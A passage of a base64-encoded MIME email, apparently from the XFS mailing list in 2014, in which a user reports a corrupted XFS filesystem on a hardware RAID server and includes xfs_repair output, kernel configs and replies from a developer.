NDkwMTEsIHdvdWxkIHJlc2V0IHRvIDU2MQ0KYmFkIG5leHRlbnRzIDIwMCBmb3IgaW5vZGUgMTY5 NDkwMTEsIHdvdWxkIHJlc2V0IHRvIDE5OQ0KYmFkIG5ibG9ja3MgMTQyIGZvciBpbm9kZSAxNjk1 NzI5Niwgd291bGQgcmVzZXQgdG8gMTQ1DQpiYWQgbmJsb2NrcyA1MSBmb3IgaW5vZGUgMTY5NjAz NjIsIHdvdWxkIHJlc2V0IHRvIDY1DQpiYWQgbmJsb2NrcyA4OTggZm9yIGlub2RlIDE2OTY3MDcy LCB3b3VsZCByZXNldCB0byA5MTMNCmJhZCBuYmxvY2tzIDM1NCBmb3IgaW5vZGUgMTY5NzI1MTMs IHdvdWxkIHJlc2V0IHRvIDM2OQ0KYmFkIG5ibG9ja3MgNTA4IGZvciBpbm9kZSAxNjk4MTAyMywg d291bGQgcmVzZXQgdG8gNTEzDQpiYWQgbmJsb2NrcyAyMTYgZm9yIGlub2RlIDE2OTgzMjcxLCB3 b3VsZCByZXNldCB0byAyMjUNCmJhZCBuYmxvY2tzIDgzIGZvciBpbm9kZSAxNjk4MzI4MCwgd291 bGQgcmVzZXQgdG8gOTcNCmJhZCBuYmxvY2tzIDQyMiBmb3IgaW5vZGUgMTY5ODcwNDksIHdvdWxk IHJlc2V0IHRvIDQzMw0KYmFkIG5ibG9ja3MgMTA1NiBmb3IgaW5vZGUgMTY5OTAzMDYsIHdvdWxk IHJlc2V0IHRvIDEwNTgNCmJhZCBuYmxvY2tzIDE4MCBmb3IgaW5vZGUgMTY5OTI2ODcsIHdvdWxk IHJlc2V0IHRvIDE5Mw0KYmFkIG5ibG9ja3MgMzkgZm9yIGlub2RlIDE2OTk1MjM5LCB3b3VsZCBy ZXNldCB0byA0OQ0KYmFkIG5ibG9ja3MgMzA4NSBmb3IgaW5vZGUgMTY5OTczNDQsIHdvdWxkIHJl c2V0IHRvIDMwOTENCmJhZCBuYmxvY2tzIDM5MCBmb3IgaW5vZGUgMTcwMDA2NDAsIHdvdWxkIHJl c2V0IHRvIDQwMQ0KYmFkIG5ibG9ja3MgMTM0NSBmb3IgaW5vZGUgMTcwMDQ4MjQsIHdvdWxkIHJl c2V0IHRvIDEzNDYNCmJhZCBuYmxvY2tzIDIxIGZvciBpbm9kZSAxNzAwNTYyMSwgd291bGQgcmVz ZXQgdG8gMzMNCmJhZCBuYmxvY2tzIDIzMjAgZm9yIGlub2RlIDE3MDE5MTExLCB3b3VsZCByZXNl dCB0byAyMzIzDQpObyBtb2RpZnkgZmxhZyBzZXQsIHNraXBwaW5nIHBoYXNlIDUNClBoYXNlIDYg LSBjaGVjayBpbm9kZSBjb25uZWN0aXZpdHkuLi4NCiAgICAgICAtIHRyYXZlcnNpbmcgZmlsZXN5 c3RlbSAuLi4NCmVudHJ5ICIxMC42LjExNC4xNDgiIGluIGRpcmVjdG9yeSBpbm9kZSAxOTEyNSBw b2ludHMgdG8gZnJlZSBpbm9kZSAxNjkyNzcyMQ0KLCB3b3VsZCBqdW5rIGVudHJ5DQogICAgICAg LSB0cmF2ZXJzYWwgZmluaXNoZWQgLi4uDQogICAgICAgLSBtb3ZpbmcgZGlzY29ubmVjdGVkIGlu b2RlcyB0byBsb3N0K2ZvdW5kIC4uLg0KUGhhc2UgNyAtIHZlcmlmeSBsaW5rIGNvdW50cy4uLg0K Tm8gbW9kaWZ5IGZsYWcgc2V0LCBza2lwcGluZyBmaWxlc3lzdGVtIGZsdXNoIGFuZCBleGl0aW5n Lg0KDQp4ZnNwcm9ncyB1dGlsP3Mgd29ya3MgZmluZSB3aXRoIGtlcm5lbCAzLjcuMTAgKGNvbmZp ZyBrZXJuZWwgcGFyYW1zIGxpc3QNCmJlbG93KToNCi91c3Ivc3JjL2xpbnV4LTMuNy4xMC1nZW50 b28vLmNvbmZpZw0KQ09ORklHX1hGU19GUz15DQpDT05GSUdfWEZTX1FVT1RBPXkNCkNPTkZJR19Y RlNfUE9TSVhfQUNMPXkNCkNPTkZJR19YRlNfUlQ9eQ0KIyBDT05GSUdfWEZTX0RFQlVHIGlzIG5v dCBzZXQNCg0KeGZzcHJvZ3MgdXRpbD9zIGhhbmdzIGluIHN0YXJ0IHdpdGgga2VybmVsIDMuMTAu MjUgKGNvbmZpZyBrZXJuZWwgcGFyYW1zDQpsaXN0IGJlbG93KToNCi91c3Ivc3JjL2xpbnV4LTMu MTAuMjUtZ2VudG9vLy5jb25maWcNCkNPTkZJR19YRlNfRlM9eQ0KQ09ORklHX1hGU19RVU9UQT15 DQpDT05GSUdfWEZTX1BPU0lYX0FDTD15DQpDT05GSUdfWEZTX1JUPXkNCkNPTkZJR19YRlNfREVC VUc9eQ0KDQpPdXRwdXQgb2YgbG9nIHByaW50IGNvbW1hbmQgST9hbSB1cGxvYWQgaW4gd2ViLXNp dGU6DQp4ZnNfbG9ncHJpbnQgLWQgLUMgLi94ZnNfbG9nLmR1bXANCmh0dHA6Ly95YWRpLnNrL2Qv Snh2LUl0UlNHdDh2Tg0KDQoNCg0KDQoNCg0KMjguMDEuMjAxNCwg1yA4OjQ2LCAiRG1pdHJpeSBZ dSBMZW9ub3YiIDxETGVvbm92QGJlZWxpbmUucnU+IM7B0MnTwcwowSk6DQoNCiAgICAgIEdvb2Qg bW9ybmluZywgRGF2ZS4NCg0KICAgICAgVGhhbmsgeW91IGZvciB5b3VyIHJlc3BvbnNlIHRvIG15 IG1lc3NhZ2UuDQoNCiAgICAgIFE6IFNvIHNvbWV0aGluZyB3ZW50IHdyb25nIHdpdGggdGhlIEhX IFJBSUQsIGFuZCB0aGVuIHlvdSBmb3VuZA0KICAgICAgZXJyb3JzIGluIHRoZSBmaWxlc3lzdGVt Pw0KICAgICAgQTogWWVzLiBQcmVzdW1hYmx5IG9uIHRoZSBzZXJ2ZXIgd2VyZSBwcm9ibGVtcyB3 aXRoIHRoZSBwb3dlciBzdXBwbHkuDQogICAgICBJbiB0aGUgSFcgUkFJRCBiYXR0ZXJ5IGJhY2t1 cCBpbnN0YWxsZWQuIEJ1dCB3aGVuIHRoZSBzZXJ2ZXIgdHVybg0KICAgICAgb2ZmL29uIGVycm9y cyBvY2N1cnJlZCB0aGF0IGxlZCB0byB0aGUgY3VycmVudCBzaXR1YXRpb24uIFRoZSBjdXJyZW50 DQogICAgICBzdGF0dXMgb2YgdGhlIEhXIFJBSUQtY29udHJvbGxlciBzdGFibGUuIHRoZXJlIGFy ZSBubyBlcnJvcnMuDQoNCiAgICAgIFE6IEl0IGZhaWxlZCB0byBtb3VudCB3aXRoIHRoZSBzdGFj ayB0cmFjZSB0aGF0IHlvdSBhdHRhY2hlZD8gSWYgc28sDQogICAgICB0aGVyZSdzIGEgY29ycnVw dCBmcmVlc3BhY2UgdHJlZSBpbiB0aGUgZmlsZXN5c3RlbS4NCiAgICAgIEE6IFllcy4gVGhlIGF0 dGFjaGVkIHN0YWNrIHRyYWNlIGlzIHJlY2VpdmVkIGFmdGVyIHRoZSBpbmNpZGVudC4gSQ0KICAg ICAgd2F0Y2hlZCB0aGUgc291cmNlIGNvZGUgZmlsZSB0aGF0IGlzIHJlZmVyZW5jZWQgdHJhY2Us IGJ1dCwNCiAgICAgIHVuZm9ydHVuYXRlbHksIGNvdWxkIG5vdCBmaWd1cmUgb3V0IGhvdyB0byBm aXggdGhlIHByb2JsZW0uIElzIHRoZXJlDQogICAgICBhIHBvc3NpYmlsaXR5IHRvIGZpeCB0aGUg cHJvYmxlbSB3aXRoIGEgY29ycnVwdCBmcmVlc3BhY2UgdHJlZSBpbiB0aGUNCiAgICAgIGZpbGVz eXN0ZW0/DQoNCiAgICAgIFE6IEZpcnN0IG9mIGFsbCwgSSdkIHN1Z2dlc3QgdXBkYXRpbmcgdG8g YXQgbGVhc3QgdmVyc2lvbiAzLjEuMTEgb2YNCiAgICAgIHhmc3Byb2dzLiBJZiBpdCBzdGlsbCBo YW5ncywgdGhlbiBpdCdzIHF1aXRlIGxpa2VseSB0aGVyZSBzb21ldGhpbmcNCiAgICAgIHN0aWxs IHdyb25nIHdpdGggeW91ciBIVyBSQUlELiBZb3VyIGZpcnN0IHN0ZXAgaXMgdG8gbWFrZSBzdXJl IHlvdXINCiAgICAgIEhXIFJBSUQgaXMgaGVhbHRoeSBiZWZvcmUgdHJ5aW5nIHRvIHJlcGFpciBv ciBtb3VudCB0aGUNCiAgICAgIGZpbGVzeXN0ZW0uLi4uDQogICAgICBBOiBJIHdpbGwgdHJ5IHRv IGZvbGxvdyBZb3VyIHJlY29tbWVuZGF0aW9ucy4gU2VydmVyIGlzIHJ1bm5pbmcgb24gYQ0KICAg ICAgR2VudG9vIHN5c3RlbS4gQ3VycmVudCBzdGFibGUgdmVyc2lvbiBvZiB4ZnNwcm9ncyBpbiBn ZW50b28gcG9ydGFnZQ0KICAgICAgaXMgMy4xLjEwLCAzLjEuMTEtcjEgaXMgdW5zdGFibGUuIEJ1 dCBJIHdpbGwgaW5zdGFsbCB0aGUgbGFzdCB0bw0KICAgICAgY2hlY2suIEFjY29yZGluZyB0byB0 aGUgcmVzdWx0cyBvZiB3cml0ZS4gQWxzbyBJJ20gYXR0YWNoIHRvIHRoZQ0KICAgICAgbWVzc2Fn ZSBmaWxlIHdpdGggYSBkaWFnbm9zaXMgSFcgUkFJRCBjb250cm9sbGVyLiBUaGUgY3VycmVudCBz dGF0dXMNCiAgICAgIG9mIHRoZSBjb250cm9sbGVyIGlzIHN0YWJsZS4NCg0KICAgICAgSSBob3Bl IGZvciBZb3VyIGhlbHAgaW4gc29sdmluZyB0aGUgcHJvYmxlbS4NCg0KICAgICAgLS0NCiAgICAg ICAgRG1pdHJ5IExlb25vdi4NCg0KICAgICAgKFNlZSBhdHRhY2hlZCBmaWxlOiBSZXBvcnRfUkFJ RF9zdGF0dXNfMjAxNDAxMjgudHh0KQ0KDQogICAgICBEYXZlIENoaW5uZXIgLS0tMjguMDEuMjAx NCAwMzoxNDoxNy0tLU9uIE1vbiwgSmFuIDI3LCAyMDE0IGF0DQogICAgICAxMToxMjoxNUFNICsw NDAwLCBEbWl0cml5IFl1IExlb25vdiB3cm90ZTogPg0KDQoNCiAgICAgIO/UOiBEYXZlIENoaW5u ZXIgPGRhdmlkQGZyb21vcmJpdC5jb20+DQogICAgICDrz83VOiBEbWl0cml5IFl1IExlb25vdiA8 RExlb25vdkBiZWVsaW5lLnJ1PiwNCiAgICAgIOvP0MnROiB4ZnNAb3NzLnNnaS5jb20NCiAgICAg IOTB1ME6IDI4LjAxLjIwMTQgMDM6MTQNCiAgICAgIPTFzcE6IFJlOiBYRlM6IEFzc2VydGlvbiBm YWlsZWQ6IGZzX2lzX29rLCBmaWxlOiBmcy94ZnMveGZzX2FsbG9jLmMsDQogICAgICBsaW5lOiAx NTkwDQoNCg0KDQogICAgICBPbiBNb24sIEphbiAyNywgMjAxNCBhdCAxMToxMjoxNUFNICswNDAw LCBEbWl0cml5IFl1IExlb25vdiB3cm90ZToNCiAgICAgID4NCiAgICAgID4gSGVsbG8sIGRlYXIg ZGV2ZWxvcGVycw0KICAgICAgPg0KICAgICAgPiBGYWNlZCAgd2l0aCAgdGhlICBwcm9ibGVtIG9m IHVzaW5nIFhGUy4gSSdtIHVzZSB0aGUgWEZTIGZpbGUgc3lzdGVtDQogICAgICBvbg0KICAgICAg PiB0aGUgIHNlcnZlciB3aXRob3V0IHByb2JsZW1zIHRocmVlIHllYXJzLiBSZWNlbnRseSBkaXNj b3ZlcmVkIHRoYXQNCiAgICAgIHRoZQ0KICAgICAgPiBkaXNrIChyYWlkLWFycmF5KSB3aXRoIFhG UyBpcyBub3QgYXZhaWxhYmxlLg0KICAgICAgPg0KICAgICAgPiBUaGUgbG9ncyByYWlkIGNvbnRy b2xsZXIgYXBwZWFyZWQ6IDIwMTQtMDEtMjQgMDc6MTI6MzQgSC9XIE1vbml0b3INCiAgICAgIFJh aWQNCiAgICAgID4gUG93ZXJlZCBPbg0KDQogICAgICBTbyBzb21ldGhpbmcgd2VudCB3cm9uZyB3 aXRoIHRoZSBIVyBSQUlELCBhbmQgdGhlbiB5b3UgZm91bmQgZXJyb3JzDQogICAgICBpbiB0aGUg ZmlsZXN5c3RlbT8NCg0KICAgICAgPiBXaGVuIEkgcmVzdGFydCB0aGUgc2VydmVyLCBJIGZvdW5k IHRoYXQgdGhlIHJhaWQgYXJyYXkgaXMgbm90IG1vdW50DQogICAgICBvbg0KICAgICAgPiB0aGUg bW91bnQgcG9pbnQgL2Rldi9zZGIxIChmaWxlc3lzdGVtIFhGUykuDQoNCiAgICAgIEl0IGZhaWxl ZCB0byBtb3VudCB3aXRoIHRoZSBzdGFjayB0cmFjZSB0aGF0IHlvdSBhdHRhY2hlZD8gSWYgc28s DQogICAgICB0aGVyZSdzIGEgY29ycnVwdCBmcmVlc3BhY2UgdHJlZSBpbiB0aGUgZmlsZXN5c3Rl bS4NCg0KICAgICAgPiBXaGVuICBJICBydW4gIHRoZSB1dGlsaXR5IHhmc19yZXBhaXIgLVAgL2Rl di9zZGIxIGl0IGhhbmdzLiBXaGVuIEkNCiAgICAgIHJ1bg0KICAgICAgPiBtb3VudCAgL2Rldi9z ZGIxICBub3QgIGlzc3VlZCAgYW55ICBlcnJvcnMgYW5kIGFwcGxpY2F0aW9uIGFsc28NCiAgICAg IGhhbmdzLg0KICAgICAgPiBUYXNrJ3MgY2Fubm90IGZpbmlzaCBldmVuIHRoZSBjb21tYW5kIGtp bGwgLTkgPHBpZD4uDQoNCiAgICAgIEZpcnN0IG9mIGFsbCwgSSdkIHN1Z2dlc3QgdXBkYXRpbmcg dG8gYXQgbGVhc3QgdmVyc2lvbiAzLjEuMTEgb2YNCiAgICAgIHhmc3Byb2dzLiBJZiBpdCBzdGls bCBoYW5ncywgdGhlbiBpdCdzIHF1aXRlIGxpa2VseSB0aGVyZSBzb21ldGhpbmcNCiAgICAgIHN0 aWxsIHdyb25nIHdpdGggeW91ciBIVyBSQUlELg0KDQogICAgICBZb3VyIGZpcnN0IHN0ZXAgaXMg dG8gbWFrZSBzdXJlIHlvdXIgSFcgUkFJRCBpcyBoZWFsdGh5IGJlZm9yZQ0KICAgICAgdHJ5aW5n IHRvIHJlcGFpciBvciBtb3VudCB0aGUgZmlsZXN5c3RlbS4uLi4NCg0KICAgICAgQ2hlZXJzLA0K DQogICAgICBEYXZlLg0KICAgICAgLS0NCiAgICAgIERhdmUgQ2hpbm5lcg0KICAgICAgZGF2aWRA ZnJvbW9yYml0LmNvbQ0KICAgICAgPFJlcG9ydF9SQUlEX3N0YXR1c18yMDE0MDEyOC50eHQ+ --0__=CBBBF6FCDF84E7C98f9e8a93df938690918cCBBBF6FCDF84E7C9 Content-type: text/html; charset=KOI8-R Content-Disposition: inline Content-transfer-encoding: base64 PGh0bWw+PGJvZHk+DQo8cD48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+UmVwb3N0IG15IG1l c3NhZ2UsIGJlY2F1c2UgSSBhY2NpZGVudGFsbHkgYW5zd2VyZWQgRGF2ZSBpbnN0ZWFkIG9mIGFu c3dlcmluZyBhbGwuIFNvcnJ5LjwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJp ZiI+SSdtIHJlZ2lzdGVyZWQgcHJvYmxlbSBhbHNvIGluIFhGUyBidWd6aWxsYTogPC9mb250Pjxm b250IHNpemU9IjMiIGZhY2U9InNlcmlmIj48YSBocmVmPSJodHRwOi8vb3NzLnNnaS5jb20vYnVn emlsbGEvc2hvd19idWcuY2dpP2lkPTEwNDUiPmh0dHA6Ly9vc3Muc2dpLmNvbS9idWd6aWxsYS9z aG93X2J1Zy5jZ2k/aWQ9MTA0NTwvYT48L2ZvbnQ+PGJyPg0KPGJyPg0KPGZvbnQgc2l6ZT0iMyIg ZmFjZT0ic2VyaWYiPkdvb2QgZXZlbmluZywgRGF2ZS4gPC9mb250Pjxicj4NCjxicj4NCjxmb250 IHNpemU9IjMiIGZhY2U9InNlcmlmIj5JJiM4MjE3O20gaW5zdGFsbGVkIHhmc3Byb2dzIHZlcnNp b24gMy4xLjExIGFuZCB0cnkgdG8gcmVwYWlyIGZpbGVzeXN0ZW0gb24gdGhlIHJhaWQgZGlzay4g QnV0IGNvbW1hbmQgeGZzX3JlcGFpciAtUCAvZGV2L3NkYjEgaGFuZ2VkLjwvZm9udD48YnI+DQo8 Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+VGhlbiBJIGRlY2lkZWQgdG8gcmVib290IHdpdGgg b2xkIGtlcm5lbCB2ZXJzaW9uIDMuNy4xMCAoSSBoYXZlIHNldmVyYWwgdmVyc2lvbnMgb2Yga2Vy bmVsKS4gQWZ0ZXIgcmVib290IHRoZSBzeXN0ZW0sIEkgcmFuIHRoZSBjb21tYW5kIGFnYWluLiBD b21tYW5kIGV4ZWN1dGVkIHN1Y2Nlc3NmdWxseSBpbiB0aGUgb2xkIGtlcm5lbCAzLjcuMTAuIE91 dHB1dCBvZiB0aGUgY29tbWFuZHMgYXR0YWNoZWQgdG8gdGhlIGxldHRlciBhZnRlciB0aGUgdGV4 dC48L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPkZyb20gdGhlIGRlc2Ny aXB0aW9uIG9mIHRoZSBjb21tYW5kcyBvdXRwdXQgY2xlYXIgdGhhdCB0aGVyZSBpcyBhIGxvc3Mg b2YgbG9nIGZpbGUgZGF0YS4gTm93IEkgbmVlZCB0byByZXN0b3JlIHRoZSBmaWxlIHN5c3RlbSB3 aXRoIGEgbWluaW11bSBvZiBkYXRhIGxvc3MuIElzIGl0IHBvc3NpYmxlPyBXaGF0IGNvbW1hbmQg c2V0IGNvcnJlY3RseSBmb3IgdGhhdCB1c2U/PC9mb250Pjxicj4NCjxicj4NCjxmb250IHNpemU9 IjMiIGZhY2U9InNlcmlmIj5QUzogb3V0cHV0IG9mIHByb2dyYW1zIGFuZCBzeXN0ZW0gaW5mbyBp biB0aGUgYm90dG9tIG9mIHNpZ25hdHVyZS48L2ZvbnQ+DQo8cD48YnI+DQo8Zm9udCBzaXplPSIz IiBmYWNlPSJzZXJpZiI+JiM4MjEyOzwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJz ZXJpZiI+Jm5ic3A7IFNpbmNlcmVseSwgRG1pdHJ5LjwvZm9udD48YnI+DQo8YnI+DQo8YnI+DQo8 Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+dW5hbWUgLWE8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6 ZT0iMyIgZmFjZT0ic2VyaWYiPkxpbnV4IGRldmFzdGF0b3IgMy43LjEwLWdlbnRvbyAjMiBTTVAg V2VkIE1hciAyNyAxMzoyODowMCBNU0sgMjAxMyB4ODZfNjQgSW50ZWwoUikgWGVvbihUTSkgQ1BV IDMuMDBHSHogR2VudWluZUludGVsIEdOVS9MaW51eDwvZm9udD48YnI+DQo8YnI+DQo8YnI+DQo8 Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+eGZzX3JlcGFpciAtUCAvZGV2L3NkYjE8L2ZvbnQ+ PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPlBoYXNlIDEgLSBmaW5kIGFuZCB2ZXJp Znkgc3VwZXJibG9jay4uLjwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+ UGhhc2UgMiAtIHVzaW5nIGludGVybmFsIGxvZzwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBm YWNlPSJzZXJpZiI+Jm5ic3A7ICZuYnNwOyAmbmJzcDsgJm5ic3A7LSB6ZXJvIGxvZy4uLjwvZm9u dD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+RVJST1I6IFRoZSBmaWxlc3lzdGVt IGhhcyB2YWx1YWJsZSBtZXRhZGF0YSBjaGFuZ2VzIGluIGEgbG9nIHdoaWNoIG5lZWRzIHRvPC9m b250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5iZSByZXBsYXllZC4gJm5ic3A7 TW91bnQgdGhlIGZpbGVzeXN0ZW0gdG8gcmVwbGF5IHRoZSBsb2csIGFuZCB1bm1vdW50IGl0IGJl Zm9yZTwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+cmUtcnVubmluZyB4 ZnNfcmVwYWlyLiAmbmJzcDtJZiB5b3UgYXJlIHVuYWJsZSB0byBtb3VudCB0aGUgZmlsZXN5c3Rl bSwgdGhlbiB1c2U8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPnRoZSAt TCBvcHRpb24gdG8gZGVzdHJveSB0aGUgbG9nIGFuZCBhdHRlbXB0IGEgcmVwYWlyLjwvZm9udD48 YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+Tm90ZSB0aGF0IGRlc3Ryb3lpbmcgdGhl IGxvZyBtYXkgY2F1c2UgY29ycnVwdGlvbiAtLSBwbGVhc2UgYXR0ZW1wdCBhIG1vdW50PC9mb250 Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5vZiB0aGUgZmlsZXN5c3RlbSBiZWZv cmUgZG9pbmcgdGhpcy48L2ZvbnQ+PGJyPg0KPGJyPg0KPGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFj ZT0ic2VyaWYiPnhmc19yZXBhaXIgLW4gL2Rldi9zZGIxPC9mb250Pjxicj4NCjxmb250IHNpemU9 IjMiIGZhY2U9InNlcmlmIj5QaGFzZSAxIC0gZmluZCBhbmQgdmVyaWZ5IHN1cGVyYmxvY2suLi48 L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPlBoYXNlIDIgLSB1c2luZyBp bnRlcm5hbCBsb2c8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiZuYnNw OyAmbmJzcDsgJm5ic3A7ICZuYnNwOy0gc2NhbiBmaWxlc3lzdGVtIGZyZWVzcGFjZSBhbmQgaW5v ZGUgbWFwcy4uLjwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+YmxvY2sg KDMsMTQ5ODkzMy0xNDk4OTMzKSBtdWx0aXBseSBjbGFpbWVkIGJ5IGNudCBzcGFjZSB0cmVlLCBz dGF0ZSAtIDI8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmFnZl9mcmVl YmxrcyA8L2ZvbnQ+PGEgaHJlZj0idGVsOjI1OTk0MDc2MSI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9 IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4yNTk5NDA3NjE8L3U+PC9mb250PjwvYT48Zm9udCBz aXplPSIzIiBmYWNlPSJzZXJpZiI+LCBjb3VudGVkIDwvZm9udD48YSBocmVmPSJ0ZWw6MjU5OTQw Nzc2Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjI1OTk0 MDc3NjwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4mbmJzcDtpbiBh ZyAzPC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5hZ2ZfZnJlZWJsa3Mg PC9mb250PjxhIGhyZWY9InRlbDoyNTUwMTIzNjIiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAw MEZGIiBmYWNlPSJzZXJpZiI+PHU+MjU1MDEyMzYyPC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0i MyIgZmFjZT0ic2VyaWYiPiwgY291bnRlZCA8L2ZvbnQ+PGEgaHJlZj0idGVsOjI1NTAxMjM2NSI+ PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4yNTUwMTIzNjU8 L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+Jm5ic3A7aW4gYWcgNDwv Zm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+YWdmX2ZyZWVibGtzIDwvZm9u dD48YSBocmVmPSJ0ZWw6MjYwNjI3MjU1Ij48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIg ZmFjZT0ic2VyaWYiPjx1PjI2MDYyNzI1NTwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZh Y2U9InNlcmlmIj4sIGNvdW50ZWQgPC9mb250PjxhIGhyZWY9InRlbDoyNjA2MjczNzIiPjxmb250 IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MjYwNjI3MzcyPC91Pjwv Zm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiZuYnNwO2luIGFnIDU8L2ZvbnQ+ PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYiPmFnZl9mcmVlYmxrcyA8L2ZvbnQ+PGEg aHJlZj0idGVsOjI1NTE2ODY0NCI+PGZvbnQgc2l6ZT0iMyIgY29sb3I9IiMwMDAwRkYiIGZhY2U9 InNlcmlmIj48dT4yNTUxNjg2NDQ8L3U+PC9mb250PjwvYT48Zm9udCBzaXplPSIzIiBmYWNlPSJz ZXJpZiI+LCBjb3VudGVkIDwvZm9udD48YSBocmVmPSJ0ZWw6MjU1MTY4NjI2Ij48Zm9udCBzaXpl PSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1PjI1NTE2ODYyNjwvdT48L2ZvbnQ+ PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4mbmJzcDtpbiBhZyAyPC9mb250Pjxicj4N Cjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj5hZ2ZfZnJlZWJsa3MgPC9mb250PjxhIGhyZWY9 InRlbDoyMDcwNDQ5ODMiPjxmb250IHNpemU9IjMiIGNvbG9yPSIjMDAwMEZGIiBmYWNlPSJzZXJp ZiI+PHU+MjA3MDQ0OTgzPC91PjwvZm9udD48L2E+PGZvbnQgc2l6ZT0iMyIgZmFjZT0ic2VyaWYi PiwgY291bnRlZCA8L2ZvbnQ+PGEgaHJlZj0idGVsOjIwNzA0NDk4NCI+PGZvbnQgc2l6ZT0iMyIg Y29sb3I9IiMwMDAwRkYiIGZhY2U9InNlcmlmIj48dT4yMDcwNDQ5ODQ8L3U+PC9mb250PjwvYT48 Zm9udCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+Jm5ic3A7aW4gYWcgNjwvZm9udD48YnI+DQo8Zm9u dCBzaXplPSIzIiBmYWNlPSJzZXJpZiI+YWdmX2ZyZWVibGtzIDwvZm9udD48YSBocmVmPSJ0ZWw6 MjQzNjQ2MTUwIj48Zm9udCBzaXplPSIzIiBjb2xvcj0iIzAwMDBGRiIgZmFjZT0ic2VyaWYiPjx1 PjI0MzY0NjE1MDwvdT48L2ZvbnQ+PC9hPjxmb250IHNpemU9IjMiIGZhY2U9InNlcmlmIj4sIGNv dW50ZWQgPC9mb250PjxhIGhyZWY9InRlbDoyNDM2NDYxMDAiPjxmb250IHNpemU9IjMiIGNvbG9y PSIjMDAwMEZGIiBmYWNlPSJzZXJpZiI+PHU+MjQzNjQ2MTAwPC91PjwvZm9udD48L2E+PGZvbnQg c2l6ZT0iMyIgZmFjZT0ic2VyaWYiPiZuYnNwO2luIGFnIDE8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6 ZT0iMyIgZmFjZT0ic2VyaWYiPmJsb2NrICgwLDkyODg3NzUtOTI4ODc3NSkgbXVsdGlwbHkgY2xh aW1lZCBieSBjbnQgc3BhY2UgdHJlZSwgc3RhdGUgLSAyPC9mb250Pjxicj4NCjxmb250IHNpemU9 IjMiIGZhY2U9InNlcmlmIj5ibG9jayAoMCw5MjkyODgwLTkyOTI4ODApIG11bHRpcGx5IGNsYWlt ZWQgYnkgY250IHNwYWNlIHRyZWUsIHN0YXRlIC0gMjwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIz IiBmYWNlPSJzZXJpZiI+YmxvY2sgKDAsOTMxMTc0Ni05MzExNzQ2KSBtdWx0aXBseSBjbGFpbWVk IGJ5IGNudCBzcGFjZSB0cmVlLCBzdGF0ZSAtIDI8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIg ZmFjZT0ic2VyaWYiPmJsb2NrICgwLDkzMTM3NzQtOTMxMzc3NCkgbXVsdGlwbHkgY2xhaW1lZCBi eSBjbnQgc3BhY2UgdHJlZSwgc3RhdGUgLSAyPC9mb250Pjxicj4NCjxmb250IHNpemU9IjMiIGZh Y2U9InNlcmlmIj5ibG9jayAoMCw0MDEwNTUyLTQwMTA1NTIpIG11bHRpcGx5IGNsYWltZWQgYnkg Y250IHNwYWNlIHRyZWUsIHN0YXRlIC0gMjwvZm9udD48YnI+DQo8Zm9udCBzaXplPSIzIiBmYWNl PSJzZXJpZiI+YmxvY2sgKDAsNzI5NDAxMC03Mjk0MDEwKSBtdWx0aXBseSBjbGFpbWVkIGJ5IGNu dCBzcGFjZSB0cmVlLCBzdGF0ZSAtIDI8L2ZvbnQ+PGJyPg0KPGZvbnQgc2l6ZT0iMyIgZmFjZT0i 